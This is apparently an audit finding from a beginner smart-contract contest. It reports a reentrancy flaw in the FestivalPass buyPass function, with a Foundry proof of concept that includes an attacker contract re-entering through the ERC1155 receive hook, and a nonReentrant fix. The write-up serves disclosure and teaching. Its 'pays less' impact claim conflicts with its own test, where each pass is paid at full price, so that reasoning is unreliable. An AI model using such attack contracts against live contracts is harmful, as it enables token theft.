Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

FestivalPass::buyPass function is vulnerable for re-entrancy attack

FestivalPass::buyPass function is vulnerable for re-entrancy attack

Description

  • FestivalPass::buyPass function is callable by any user(or contract). Any user(or attacker contract) can mint extra pass balance and can earn extra beat tokens by re-entering the buyPass function maliciously

  • FestivalPass::buyPass function does not follow the proper CEI method and also updates the important state after an external call, which leads to an re-entrancy for an attacker

  • User can call the buyPass function through a malicious contract which eventually executes an re-entrancy in the buyPass function.

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount"); // Check payment and supply
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
/// @dev Creates 1 amount of tokens of type collectionId, and assigns them to user
@> _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood: High

  • User(Attacker) can use an malicious contract to buyPass. Attacker calls the buyPass function using an contract which will pay the initial amount to buyPass and then during the first minting, the attackers contract will re-enter the buyPass function to mint extra pass and earn extra BEAT tokens just paying for initial passes

  • Attacker will earn extra Pass and BEAT tokens by paying less amount that is originally needed to earn passes and BEAT tokens

Impact: Medium

  • Attackers can mint extra Passes and earn BEAT tokens by paying less amount that is originally needed to buy passes

  • This will eventually increases the supply count of pass and attacker will able to earn more BEAT tokens

Proof of Concept

  • Add following test in your ./test/ReentrancyAttackBuyPassTest.sol and to run the test execute the following command forge test --mt testReentrancyAttack -vvvv

  • Below test uses an malicious contract as an attacker's contract and tries to call the buyPass function and then maliciously re-enters the buyPass function to earn tokens and passes

    import {FestivalPass} from "../src/FestivalPass.sol";
    import {BeatToken} from "../src/BeatToken.sol";
    import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
    contract MaliciousContract is IERC1155Receiver {
    FestivalPass public festivalPass;
    BeatToken public beatToken;
    uint256 public attackCount;
    uint256 public maxAttacks = 2;
    uint256 public passId;
    uint256 public passPrice;
    constructor(address _festivalPass, address _beatToken) {
    festivalPass = FestivalPass(_festivalPass);
    beatToken = BeatToken(_beatToken);
    }
    function attack(uint256 _passId) external payable {
    passId = _passId;
    passPrice = festivalPass.passPrice(_passId);
    attackCount = 0;
    // Start the first buyPass call
    festivalPass.buyPass{value: passPrice}(_passId);
    }
    // this is where we can attempt reentrancy
    function onERC1155Received(
    address operator,
    address from,
    uint256 id,
    uint256 value,
    bytes calldata data
    ) external override returns (bytes4) {
    if (attackCount < maxAttacks && address(this).balance >= passPrice) {
    attackCount++;
    console.log("Attempting reentrancy attack #", attackCount);
    // Try to buy another pass during the minting process
    try (festivalPass.buyPass{value: passPrice}(passId)) {
    console.log("Reentrancy successful!");
    } catch {
    console.log("Reentrancy failed");
    }
    }
    return this.onERC1155Received.selector;
    }
    receive() external payable {}
    // Function to check how many passes we own
    function getPassBalance() external view returns (uint256) {
    return festivalPass.balanceOf(address(this), passId);
    }
    // Function to check BEAT token balance
    function getBeatBalance() external view returns (uint256) {
    return beatToken.balanceOf(address(this));
    }
    // this are the override functions for IERC1155Receiver
    function onERC1155BatchReceived(
    address operator,
    address from,
    uint256[] calldata ids,
    uint256[] calldata values,
    bytes calldata data
    ) external override returns (bytes4) {
    return this.onERC1155BatchReceived.selector;
    }
    function supportsInterface(bytes4 interfaceId) external view override returns (bool) {
    return interfaceId == type(IERC1155Receiver).interfaceId;
    }
    }
    // test contract from complete setup to depect the attack
    contract ReentrancyAttackBuyPassTest is Test {
    FestivalPass public festivalPass;
    BeatToken public beatToken;
    MaliciousContract public attacker;
    address public owner;
    address public organizer;
    uint256 constant VIP_PRICE = 0.1 ether;
    uint256 constant VIP_MAX_SUPPLY = 1000;
    uint256 constant VIP_PASS = 2;
    function setUp() public {
    owner = address(this);
    organizer = makeAddr("organizer");
    beatToken = new BeatToken();
    festivalPass = new FestivalPass(address(beatToken), organizer);
    beatToken.setFestivalContract(address(festivalPass));
    attacker = new MaliciousContract(address(festivalPass), address(beatToken));
    vm.prank(organizer);
    festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
    vm.deal(address(attacker), 0.3 ether);
    }
    function testReentrancyAttack() public {
    // Check initial state
    uint256 initialPassSupply = festivalPass.passSupply(VIP_PASS); // 0
    uint256 initialPassBalance = attacker.getPassBalance();// 0
    console.log("Attackers balance before attack:", address(attacker).balance); // 0.3 ether
    assertEq(address(attacker).balance, 0.3 ether);
    attacker.attack{value: VIP_PRICE}(VIP_PASS); // Execute the attack
    // Check results after attack
    uint256 finalPassSupply = festivalPass.passSupply(VIP_PASS); // 3
    uint256 finalPassBalance = attacker.getPassBalance();
    uint256 beatBalance = attacker.getBeatBalance();
    // attacker payed 0.2 ether and earn 3 passes and 15e18 BEAT tokens
    console.log("Final VIP pass supply:", finalPassSupply); // 3
    console.log("Attacker final pass balance:", finalPassBalance); // attackers pass balance -> 3
    console.log("Attacker BEAT token balance:", beatBalance); // attacker BEAT token balance -> 15e18
    // Note: This demonstrates the vulnerability exists
    assertTrue(finalPassBalance >= 1, "Attacker should have at least 1 pass");
    assertTrue(beatBalance >= 5e18, "Attacker should have received VIP welcome bonus");
    console.log("Attackers balance after attack:", address(attacker).balance);
    assertEq(address(attacker).balance, 0.1 ether);
    }
    }

Recommended Mitigation

  • FestivalPass::buyPass function should follow proper CEI method to prevent the re-entrancy

  • Can include nonReentrant guard to prevent the reentrancy!!!!!

+ import {ReentrancyGuard } from "@openzeppelin-contracts/contracts/utils/ReentrancyGuard.sol";
+ function buyPass(uint256 collectionId) external payable nonReentrant() {
- function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount"); // Check payment and supply
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
/// @dev Creates 1 amount of tokens of type collectionId, and assigns them to user
_mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.